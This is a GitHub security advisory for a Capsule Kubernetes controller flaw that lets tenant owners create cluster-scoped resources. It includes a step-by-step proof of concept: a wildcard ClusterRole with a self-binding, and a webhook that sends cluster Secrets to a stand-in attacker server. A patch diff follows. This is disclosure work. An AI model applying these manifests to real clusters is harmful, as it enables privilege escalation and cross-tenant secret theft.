VYPR
Moderate severityGHSA Advisory· Published May 28, 2026· Updated May 28, 2026

Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

CVE-2026-22872

Description

# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Summary

The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.

---

Details

Vulnerability

Location

File: internal/controllers/resources/processor.go Function: HandleSection() Lines: 247-285

Core

Issues

1. Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole ``yaml # ClusterRoleBinding: capsule-manager-rolebinding roleRef: kind: ClusterRole name: cluster-admin ``

  1. Missing Resource Scope Validation: Although the code calls obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field
  1. Missing Resource Type Validation: No check for whether resources are cluster-scoped

Vulnerable

Code Analysis

// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
    template := string(item.Raw)

    t := fasttemplate.New(template, "{{ ", " }}")
    tmplString := t.ExecuteString(map[string]interface{}{
        "tenant.name": tnt.Name,
        "namespace":   ns.Name,
    })

    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}

    // Issue 1: Accepts any resource type, including cluster-scoped resources
    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
        []byte(tmplString), nil, &obj); decodeErr != nil {
        log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, decodeErr)
        continue
    }

    // Issue 2: For cluster-scoped resources, this setting is ignored by API
    obj.SetNamespace(ns.Name)

    // Issue 3: Controller creates with cluster-admin privileges, no scope check
    if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
        log.Info("unable to sync rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, rawErr)
    }
}

Attack

Chain

Tenant Owner (bob) - Has TenantResource creation permission
  ↓
Creates TenantResource containing cluster-scoped resources
  ↓
Capsule Controller (cluster-admin) processes RawItems
  ↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
  ↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
  ↓
Cross-tenant privilege escalation / Cluster-level attacks

---

PoC

Environment

Setup

Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)

Step 1: Verify Capsule Controller Privileges
kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml

Confirm output contains: ``yaml roleRef: kind: ClusterRole name: cluster-admin # Controller has full cluster management privileges ``

Step 2: Install Capsule and Create Test Tenant

Complete Capsule installation and tenant creation following previous environment setup steps.

Step 3: Verify bob's Permission Restrictions

Verify bob can create TenantResource: ``bash kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1 ``

Actual output: `` yes ``

Verify bob cannot create ClusterRole: ``bash kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev ``

Actual output: `` Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io' no ``

Verify bob cannot create ValidatingWebhook: ``bash kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev ``

Actual output: `` Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io' no ``

Attack

Vector 1: Creating Malicious ClusterRole

Step 4: Create TenantResource Containing ClusterRole

Create file attack-clusterrole.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-clusterrole
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: rbac.authorization.k8s.io/v1
          kind: ClusterRole
          metadata:
            name: malicious-clusterrole
          rules:
          - apiGroups: ["*"]
            resources: ["*"]
            verbs: ["*"]

Apply configuration as bob user (critical - must specify executor):

kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev

Actual output: `` tenantresource.capsule.clastix.io/create-clusterrole created ``

Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.

Step 5: Verify ClusterRole Creation
kubectl get clusterrole malicious-clusterrole

Actual output: `` NAME CREATED AT malicious-clusterrole 2026-01-05T16:10:02Z ``

View details:

kubectl get clusterrole malicious-clusterrole -o yaml

Key output: ``yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: annotations: capsule.clastix.io/tenant: tenant-b name: malicious-clusterrole rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] ``

Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.

Step 6: Exploit ClusterRole for Cross-Tenant Attack

Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: bob-cluster-admin
subjects:
- kind: User
  name: bob
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: malicious-clusterrole
  apiGroup: rbac.authorization.k8s.io

After applying, bob will have full cluster management privileges and can access resources of all tenants.

Attack

Vector 2: Creating Malicious ValidatingWebhook

Step 7: Create TenantResource Containing Webhook

Create file attack-webhook.yaml:

apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-webhook
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: admissionregistration.k8s.io/v1
          kind: ValidatingWebhookConfiguration
          metadata:
            name: malicious-webhook
          webhooks:
          - name: malicious.webhook.com
            clientConfig:
              url: "https://attacker-controlled-server.com/webhook"
            rules:
            - operations: ["CREATE", "UPDATE"]
              apiGroups: [""]
              apiVersions: ["v1"]
              resources: ["secrets"]
            admissionReviewVersions: ["v1"]
            sideEffects: None
            failurePolicy: Ignore

Apply configuration as bob user:

kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev

Actual output: `` tenantresource.capsule.clastix.io/create-webhook created ``

Step 8: Verify Webhook Creation
kubectl get validatingwebhookconfiguration malicious-webhook

Actual output: `` NAME WEBHOOKS AGE malicious-webhook 1 5s ``

Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.

Step 9: Exploit Webhook to Steal Sensitive Data

At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:

  1. Steal Secret data from all tenants (database passwords, API keys, etc.)
  2. Modify Secret contents
  3. Deny legitimate Secret creation requests, achieving DoS attacks

---

Impact

Affected

Scope

This vulnerability affects all Capsule deployments with the following prerequisites: 1. Capsule Controller runs with cluster-admin privileges (default configuration) 2. Tenant Owner has permission to create TenantResource

Security

Impact

1. Cross-Tenant Privilege Escalation - Create ClusterRole to gain cluster-level privileges - Break tenant isolation boundaries - Access all resources of other tenants

2. Large-Scale Sensitive Data Theft - Intercept all Secret creation/update requests through malicious Webhook - Steal passwords, API keys, certificates, etc. across the entire cluster - Real-time monitoring of all tenant sensitive operations

3. Cluster-Level Denial of Service - Deny all API requests through Webhook - Make the entire cluster unavailable - Impact all tenants

4. Cluster Pollution - Create malicious CRDs - Modify StorageClass - Impact cluster stability

5. Persistent Backdoor - Created cluster-scoped resources persist - Even if TenantResource is deleted, ClusterRole and other resources remain - Difficult to detect and remove

Limiting

Factors

  1. Requires Tenant Owner privileges
  2. Requires Capsule Controller running with cluster-admin privileges (default configuration)
  3. Some clusters may have additional admission controllers blocking malicious resources

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Tenant administrators can create cluster-scoped resources (e.g., ClusterRole, ValidatingWebhookConfiguration) via the Capsule Controller's cluster-admin privileges due to missing scope validation in TenantResource RawItems processing.

Vulnerability

The Capsule Controller runs with cluster-admin privileges via its ServiceAccount being bound to the cluster-admin ClusterRole [1]. In the HandleSection() function in internal/controllers/resources/processor.go (lines 247–285), the controller processes spec.RawItems from TenantResource custom resources. While the code calls obj.SetNamespace(ns.Name) to force a namespace, this call is ineffective for cluster-scoped resources such as ClusterRole and ValidatingWebhookConfiguration because the Kubernetes API ignores the namespace field for those types. No validation exists to reject cluster-scoped resource types, allowing any resource kind defined in a Tenant's RawItems to be created [1][2].

Exploitation

An attacker who has permission to create or update TenantResource objects (i.e., a tenant administrator) can craft a RawItems entry containing a cluster-scoped resource definition. The controller will decode the template, substitute tenant and namespace variables, and—because of the missing scope check—create the resource cluster-wide using its elevated privileges. No special network position or additional authentication is required beyond being a tenant administrator with TenantResource write access [1][2].

Impact

Successful exploitation allows the attacker to create arbitrary cluster-scoped resources. This includes ClusterRole (granting themselves cluster-level permissions), ValidatingWebhookConfiguration (intercepting API requests), or other cluster-scoped objects. This leads to cross-tenant privilege escalation and cluster-level compromise, enabling full control over the Kubernetes cluster from a single tenant [1][2].

Mitigation

A fix was released in Capsule v0.13.0, which addresses this vulnerability by introducing proper scope validation for resources created through TenantResource RawItems [3]. As an immediate workaround, users are advised to enable Impersonation for TenantResources to restrict the controller's effective permissions [3]. No other workarounds are documented in the references.

AI Insight generated on May 28, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
github.com/projectcapsule/capsuleGo
< 0.13.00.13.0

Affected products

2

Patches

2
a6b830b1af0a

feat: add ruleset api(#1844)

https://github.com/projectcapsule/capsuleOliver BählerJan 27, 2026Fixed in 0.13.0via llm-release-walk
284 files changed · +12629 2155
  • api/v1beta1/owner_list_test.go+1 1 modified
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package v1beta1
    
  • api/v1beta1/tenant_webhook.go+1 2 modified
    @@ -15,7 +15,6 @@ func (in *Tenant) SetupWebhookWithManager(mgr ctrl.Manager) error {
     		return nil
     	}
     
    -	return ctrl.NewWebhookManagedBy(mgr).
    -		For(in).
    +	return ctrl.NewWebhookManagedBy(mgr, in).
     		Complete()
     }
    
  • api/v1beta2/capsuleconfiguration_status.go+5 0 modified
    @@ -4,11 +4,16 @@
     package v1beta2
     
     import (
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +
     	"github.com/projectcapsule/capsule/pkg/api"
     )
     
     // CapsuleConfigurationStatus defines the Capsule configuration status.
     type CapsuleConfigurationStatus struct {
    +	// Last time all caches were invalided
    +	LastCacheInvalidation metav1.Time `json:"lastCacheInvalidation,omitempty"`
    +
     	// Users which are considered Capsule Users and are bound to the Capsule Tenant construct.
     	Users api.UserListSpec `json:"users,omitempty"`
     }
    
  • api/v1beta2/capsuleconfiguration_types.go+45 0 modified
    @@ -4,6 +4,7 @@
     package v1beta2
     
     import (
    +	admissionregistrationv1 "k8s.io/api/admissionregistration/v1"
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
     
     	"github.com/projectcapsule/capsule/pkg/api"
    @@ -53,6 +54,50 @@ type CapsuleConfigurationSpec struct {
     	// for interacting with namespaces. Because if that label is not defined, it's assumed that namespace interaction was not targeted towards a tenant and will therefor
     	// be ignored by capsule.
     	Administrators api.UserListSpec `json:"administrators,omitempty"`
    +	// Configuration for dynamic Validating and Mutating Admission webhooks managed by Capsule.
    +	Admission DynamicAdmission `json:"admission,omitempty"`
    +	// Define Properties for managed ClusterRoles by Capsule
    +	// +kubebuilder:default={}
    +	RBAC *RBACConfiguration `json:"rbac"`
    +	// Define the period of time upon a cache invalidation is executed for all caches.
    +	// +kubebuilder:default="24h"
    +	CacheInvalidation metav1.Duration `json:"cacheInvalidation"`
    +}
    +
    +type RBACConfiguration struct {
    +	// The ClusterRoles applied for Administrators
    +	// +kubebuilder:default={capsule-namespace-deleter}
    +	AdministrationClusterRoles []string `json:"administrationClusterRoles,omitempty"`
    +	// The ClusterRoles applied for ServiceAccounts which had owner Promotion
    +	// +kubebuilder:default={capsule-namespace-provisioner,capsule-namespace-deleter}
    +	PromotionClusterRoles []string `json:"promotionClusterRoles,omitempty"`
    +	// Name for the ClusterRole required to grant Namespace Deletion permissions.
    +	// +kubebuilder:default=capsule-namespace-deleter
    +	DeleterClusterRole string `json:"deleter,omitempty"`
    +	// Name for the ClusterRole required to grant Namespace Provision permissions.
    +	// +kubebuilder:default=capsule-namespace-provisioner
    +	ProvisionerClusterRole string `json:"provisioner,omitempty"`
    +}
    +
    +type DynamicAdmission struct {
    +	// Configure dynamic Mutating Admission for Capsule
    +	Mutating DynamicAdmissionConfig `json:"mutating,omitempty"`
    +
    +	// Configure dynamic Validating Admission for Capsule
    +	Validating DynamicAdmissionConfig `json:"validating,omitempty"`
    +}
    +
    +type DynamicAdmissionConfig struct {
    +	// Name the Admission Webhook
    +	Name api.Name `json:"name,omitempty"`
    +	// Labels added to the Admission Webhook
    +	// +optional
    +	Labels map[string]string `json:"labels,omitempty"`
    +	// Annotations added to the Admission Webhook
    +	// +optional
    +	Annotations map[string]string `json:"annotations,omitempty"`
    +	// From the upstram struct
    +	Client admissionregistrationv1.WebhookClientConfig `json:"client"`
     }
     
     type NodeMetadata struct {
    
  • api/v1beta2/namespace_rule_type.go+33 0 added
    @@ -0,0 +1,33 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package v1beta2
    +
    +import (
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +
    +	"github.com/projectcapsule/capsule/pkg/api"
    +)
    +
    +// +kubebuilder:object:generate=true
    +type NamespaceRule struct {
    +	// Enforce these properties via Rules
    +	NamespaceRuleBody `json:",inline"`
    +
    +	// Select namespaces which are going to usese
    +	NamespaceSelector *metav1.LabelSelector `json:"namespaceSelector,omitempty"`
    +}
    +
    +// +kubebuilder:object:generate=true
    +type NamespaceRuleBody struct {
    +	// Enforcement Rules applied
    +	//+optional
    +	Enforce NamespaceRuleEnforceBody `json:"enforce,omitzero"`
    +}
    +
    +// +kubebuilder:object:generate=true
    +type NamespaceRuleEnforceBody struct {
    +	// Define registries which are allowed to be used within this tenant
    +	// The rules are aggregated, since you can use Regular Expressions the match registry endpoints
    +	Registries []api.OCIRegistry `json:"registries,omitempty"`
    +}
    
  • api/v1beta2/resourcepoolclaim_func_test.go+1 1 modified
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package v1beta2
    
  • api/v1beta2/resourcepool_func_test.go+1 1 modified
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package v1beta2
    
  • api/v1beta2/rule_status_type.go+44 0 added
    @@ -0,0 +1,44 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package v1beta2
    +
    +import (
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +)
    +
    +// +kubebuilder:object:root=true
    +// +kubebuilder:storageversion
    +// +kubebuilder:subresource:status
    +// +kubebuilder:printcolumn:name="Age",type="date",JSONPath=".metadata.creationTimestamp",description="Age"
    +type RuleStatus struct {
    +	metav1.TypeMeta `json:",inline"`
    +
    +	// +optional
    +	metav1.ObjectMeta `json:"metadata,omitzero"`
    +
    +	// +optional
    +	Status RuleStatusSpec `json:"status,omitzero"`
    +}
    +
    +// +kubebuilder:object:root=true
    +
    +// RuleStatusList contains a list of RuleStatus.
    +type RuleStatusList struct {
    +	metav1.TypeMeta `json:",inline"`
    +	metav1.ListMeta `json:"metadata,omitzero"`
    +
    +	Items []RuleStatus `json:"items"`
    +}
    +
    +func init() {
    +	SchemeBuilder.Register(&RuleStatus{}, &RuleStatusList{})
    +}
    +
    +// RuleStatus contains the accumulated rules applying to namespace it's deployed in.
    +// +kubebuilder:object:generate=true
    +type RuleStatusSpec struct {
    +	// Managed Enforcement properties per Namespace (aggregated from rules)
    +	//+optional
    +	Rule NamespaceRuleBody `json:"rule,omitzero"`
    +}
    
  • api/v1beta2/tenant_func.go+1 62 modified
    @@ -4,78 +4,17 @@
     package v1beta2
     
     import (
    -	"context"
     	"slices"
     	"sort"
     
     	corev1 "k8s.io/api/core/v1"
     	rbacv1 "k8s.io/api/rbac/v1"
    -	"k8s.io/apiserver/pkg/authentication/serviceaccount"
    -	"sigs.k8s.io/controller-runtime/pkg/client"
     
     	"github.com/projectcapsule/capsule/pkg/api"
    -	"github.com/projectcapsule/capsule/pkg/api/meta"
     )
     
    -func (in *Tenant) CollectOwners(ctx context.Context, c client.Client, allowPromotion bool, admins api.UserListSpec) (api.OwnerStatusListSpec, error) {
    -	owners := in.Spec.Owners.ToStatusOwners()
    -
    -	// Promoted ServiceAccounts
    -	if allowPromotion && len(in.Status.Namespaces) > 0 {
    -		saList := &corev1.ServiceAccountList{}
    -		if err := c.List(ctx, saList,
    -			client.MatchingLabels{
    -				meta.OwnerPromotionLabel: meta.OwnerPromotionLabelTrigger,
    -			},
    -		); err != nil {
    -			return nil, err
    -		}
    -
    -		for _, sa := range saList.Items {
    -			for _, ns := range in.Status.Namespaces {
    -				if sa.GetNamespace() != ns {
    -					continue
    -				}
    -
    -				owners.Upsert(api.CoreOwnerSpec{
    -					UserSpec: api.UserSpec{
    -						Kind: api.ServiceAccountOwner,
    -						Name: serviceaccount.ServiceAccountUsernamePrefix + sa.Namespace + ":" + sa.Name,
    -					},
    -					ClusterRoles: []string{
    -						api.ProvisionerRoleName,
    -						api.DeleterRoleName,
    -					},
    -				})
    -			}
    -		}
    -	}
    -
    -	// Administrators
    -	for _, a := range admins {
    -		owners.Upsert(api.CoreOwnerSpec{
    -			UserSpec: a,
    -			ClusterRoles: []string{
    -				api.DeleterRoleName,
    -			},
    -		})
    -	}
    -
    -	// Dedicated Owner Objects
    -	listed, err := in.Spec.Permissions.ListMatchingOwners(ctx, c, in.GetName())
    -	if err != nil {
    -		return nil, err
    -	}
    -
    -	for _, o := range listed {
    -		owners.Upsert(o.Spec.CoreOwnerSpec)
    -	}
    -
    -	return owners, nil
    -}
    -
     func (in *Tenant) GetRoleBindings() []api.AdditionalRoleBindingsSpec {
    -	roleBindings := make([]api.AdditionalRoleBindingsSpec, 0) //nolint:prealloc
    +	roleBindings := make([]api.AdditionalRoleBindingsSpec, 0, len(in.Spec.AdditionalRoleBindings))
     
     	for _, owner := range in.Status.Owners {
     		roleBindings = append(roleBindings, owner.ToAdditionalRolebindings()...)
    
  • api/v1beta2/tenant_func_test.go+1 1 modified
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package v1beta2
    
  • api/v1beta2/tenant_status.go+8 0 modified
    @@ -47,6 +47,14 @@ type TenantStatusNamespaceItem struct {
     	UID k8stypes.UID `json:"uid,omitempty"`
     	// Managed Metadata
     	Metadata *TenantStatusNamespaceMetadata `json:"metadata,omitempty"`
    +	// Managed Metadata
    +	//+optional
    +	Enforce TenantStatusNamespaceEnforcement `json:"enforce,omitzero"`
    +}
    +
    +type TenantStatusNamespaceEnforcement struct {
    +	// Registries which are allowed within this namespace
    +	Registries []api.OCIRegistry `json:"registry,omitempty"`
     }
     
     type TenantStatusNamespaceMetadata struct {
    
  • api/v1beta2/tenant_types.go+30 15 modified
    @@ -19,6 +19,14 @@ type TenantSpec struct {
     	// Specify Permissions for the Tenant.
     	// +optional
     	Permissions Permissions `json:"permissions,omitzero"`
    +	// Specify enforcement specifications for the scope of the Tenant.
    +	//  We are moving all configuration enforcement. per namespace into a rule construct.
    +	//  It's currently not final.
    +	//
    +	// Read More: https://projectcapsule.dev/docs/tenants/rules/
    +	//+optional
    +	Rules []*NamespaceRule `json:"rules,omitzero"`
    +
     	// Specifies the owners of the Tenant.
     	// Optional
     	Owners api.OwnerListSpec `json:"owners,omitempty"`
    @@ -36,27 +44,13 @@ type TenantSpec struct {
     	// Specifies options for the Ingress resources, such as allowed hostnames and IngressClass. Optional.
     	// +optional
     	IngressOptions IngressOptions `json:"ingressOptions,omitzero"`
    -	// Specifies the trusted Image Registries assigned to the Tenant. Capsule assures that all Pods resources created in the Tenant can use only one of the allowed trusted registries. Optional.
    -	ContainerRegistries *api.AllowedListSpec `json:"containerRegistries,omitempty"`
     	// Specifies the label to control the placement of pods on a given pool of worker nodes. All namespaces created within the Tenant will have the node selector annotation. This annotation tells the Kubernetes scheduler to place pods on the nodes having the selector label. Optional.
     	NodeSelector map[string]string `json:"nodeSelector,omitempty"`
    -	// Deprecated: Use Tenant Replications instead (https://projectcapsule.dev/docs/replications/)
    -	//
    -	// Specifies the NetworkPolicies assigned to the Tenant. The assigned NetworkPolicies are inherited by any namespace created in the Tenant. Optional.
    -	// +optional
    -	NetworkPolicies api.NetworkPolicySpec `json:"networkPolicies,omitzero"`
    -	// Deprecated: Use Tenant Replications instead (https://projectcapsule.dev/docs/replications/)
    -	//
    -	// Specifies the resource min/max usage restrictions to the Tenant. The assigned values are inherited by any namespace created in the Tenant. Optional.
    -	// +optional
    -	LimitRanges api.LimitRangesSpec `json:"limitRanges,omitzero"`
     	// Specifies a list of ResourceQuota resources assigned to the Tenant. The assigned values are inherited by any namespace created in the Tenant. The Capsule operator aggregates ResourceQuota at Tenant level, so that the hard quota is never crossed for the given Tenant. This permits the Tenant owner to consume resources in the Tenant regardless of the namespace. Optional.
     	// +optional
     	ResourceQuota api.ResourceQuotaSpec `json:"resourceQuotas,omitzero"`
     	// Specifies additional RoleBindings assigned to the Tenant. Capsule will ensure that all namespaces in the Tenant always contain the RoleBinding for the given ClusterRole. Optional.
     	AdditionalRoleBindings []api.AdditionalRoleBindingsSpec `json:"additionalRoleBindings,omitempty"`
    -	// Specify the allowed values for the imagePullPolicies option in Pod resources. Capsule assures that all Pod resources created in the Tenant can use only one of the allowed policy. Optional.
    -	ImagePullPolicies []api.ImagePullPolicySpec `json:"imagePullPolicies,omitempty"`
     	// Specifies the allowed RuntimeClasses assigned to the Tenant.
     	// Capsule assures that all Pods resources created in the Tenant can use only one of the allowed RuntimeClasses.
     	// Optional.
    @@ -87,6 +81,26 @@ type TenantSpec struct {
     	// If unset, Tenant uses CapsuleConfiguration's forceTenantPrefix
     	// Optional
     	ForceTenantPrefix *bool `json:"forceTenantPrefix,omitempty"`
    +
    +	// Deprecated: Use Enforcement.Registries instead
    +	//
    +	// Specifies the trusted Image Registries assigned to the Tenant. Capsule assures that all Pods resources created in the Tenant can use only one of the allowed trusted registries. Optional.
    +	ContainerRegistries *api.AllowedListSpec `json:"containerRegistries,omitempty"`
    +	// Deprecated: Use Enforcement.Registries instead
    +	//
    +	// Specify the allowed values for the imagePullPolicies option in Pod resources. Capsule assures that all Pod resources created in the Tenant can use only one of the allowed policy. Optional.
    +	ImagePullPolicies []api.ImagePullPolicySpec `json:"imagePullPolicies,omitempty"`
    +
    +	// Deprecated: Use Tenant Replications instead (https://projectcapsule.dev/docs/replications/)
    +	//
    +	// Specifies the NetworkPolicies assigned to the Tenant. The assigned NetworkPolicies are inherited by any namespace created in the Tenant. Optional.
    +	// +optional
    +	NetworkPolicies api.NetworkPolicySpec `json:"networkPolicies,omitzero"`
    +	// Deprecated: Use Tenant Replications instead (https://projectcapsule.dev/docs/replications/)
    +	//
    +	// Specifies the resource min/max usage restrictions to the Tenant. The assigned values are inherited by any namespace created in the Tenant. Optional.
    +	// +optional
    +	LimitRanges api.LimitRangesSpec `json:"limitRanges,omitzero"`
     }
     
     type Permissions struct {
    @@ -129,7 +143,8 @@ type Tenant struct {
     	// +optional
     	metav1.ObjectMeta `json:"metadata,omitzero"`
     
    -	Spec TenantSpec `json:"spec"`
    +	// +optional
    +	Spec TenantSpec `json:"spec,omitzero"`
     
     	// +optional
     	Status TenantStatus `json:"status,omitzero"`
    
  • api/v1beta2/zz_generated.deepcopy.go+259 12 modified
    @@ -130,6 +130,13 @@ func (in *CapsuleConfigurationSpec) DeepCopyInto(out *CapsuleConfigurationSpec)
     		*out = make(api.UserListSpec, len(*in))
     		copy(*out, *in)
     	}
    +	in.Admission.DeepCopyInto(&out.Admission)
    +	if in.RBAC != nil {
    +		in, out := &in.RBAC, &out.RBAC
    +		*out = new(RBACConfiguration)
    +		(*in).DeepCopyInto(*out)
    +	}
    +	out.CacheInvalidation = in.CacheInvalidation
     }
     
     // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new CapsuleConfigurationSpec.
    @@ -145,6 +152,7 @@ func (in *CapsuleConfigurationSpec) DeepCopy() *CapsuleConfigurationSpec {
     // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
     func (in *CapsuleConfigurationStatus) DeepCopyInto(out *CapsuleConfigurationStatus) {
     	*out = *in
    +	in.LastCacheInvalidation.DeepCopyInto(&out.LastCacheInvalidation)
     	if in.Users != nil {
     		in, out := &in.Users, &out.Users
     		*out = make(api.UserListSpec, len(*in))
    @@ -177,6 +185,53 @@ func (in *CapsuleResources) DeepCopy() *CapsuleResources {
     	return out
     }
     
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *DynamicAdmission) DeepCopyInto(out *DynamicAdmission) {
    +	*out = *in
    +	in.Mutating.DeepCopyInto(&out.Mutating)
    +	in.Validating.DeepCopyInto(&out.Validating)
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new DynamicAdmission.
    +func (in *DynamicAdmission) DeepCopy() *DynamicAdmission {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(DynamicAdmission)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *DynamicAdmissionConfig) DeepCopyInto(out *DynamicAdmissionConfig) {
    +	*out = *in
    +	if in.Labels != nil {
    +		in, out := &in.Labels, &out.Labels
    +		*out = make(map[string]string, len(*in))
    +		for key, val := range *in {
    +			(*out)[key] = val
    +		}
    +	}
    +	if in.Annotations != nil {
    +		in, out := &in.Annotations, &out.Annotations
    +		*out = make(map[string]string, len(*in))
    +		for key, val := range *in {
    +			(*out)[key] = val
    +		}
    +	}
    +	in.Client.DeepCopyInto(&out.Client)
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new DynamicAdmissionConfig.
    +func (in *DynamicAdmissionConfig) DeepCopy() *DynamicAdmissionConfig {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(DynamicAdmissionConfig)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
     // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
     func (in *GatewayOptions) DeepCopyInto(out *GatewayOptions) {
     	*out = *in
    @@ -357,6 +412,65 @@ func (in *NamespaceOptions) DeepCopy() *NamespaceOptions {
     	return out
     }
     
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *NamespaceRule) DeepCopyInto(out *NamespaceRule) {
    +	*out = *in
    +	in.NamespaceRuleBody.DeepCopyInto(&out.NamespaceRuleBody)
    +	if in.NamespaceSelector != nil {
    +		in, out := &in.NamespaceSelector, &out.NamespaceSelector
    +		*out = new(metav1.LabelSelector)
    +		(*in).DeepCopyInto(*out)
    +	}
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new NamespaceRule.
    +func (in *NamespaceRule) DeepCopy() *NamespaceRule {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(NamespaceRule)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *NamespaceRuleBody) DeepCopyInto(out *NamespaceRuleBody) {
    +	*out = *in
    +	in.Enforce.DeepCopyInto(&out.Enforce)
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new NamespaceRuleBody.
    +func (in *NamespaceRuleBody) DeepCopy() *NamespaceRuleBody {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(NamespaceRuleBody)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *NamespaceRuleEnforceBody) DeepCopyInto(out *NamespaceRuleEnforceBody) {
    +	*out = *in
    +	if in.Registries != nil {
    +		in, out := &in.Registries, &out.Registries
    +		*out = make([]api.OCIRegistry, len(*in))
    +		for i := range *in {
    +			(*in)[i].DeepCopyInto(&(*out)[i])
    +		}
    +	}
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new NamespaceRuleEnforceBody.
    +func (in *NamespaceRuleEnforceBody) DeepCopy() *NamespaceRuleEnforceBody {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(NamespaceRuleEnforceBody)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    +
     // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
     func (in *NodeMetadata) DeepCopyInto(out *NodeMetadata) {
     	*out = *in
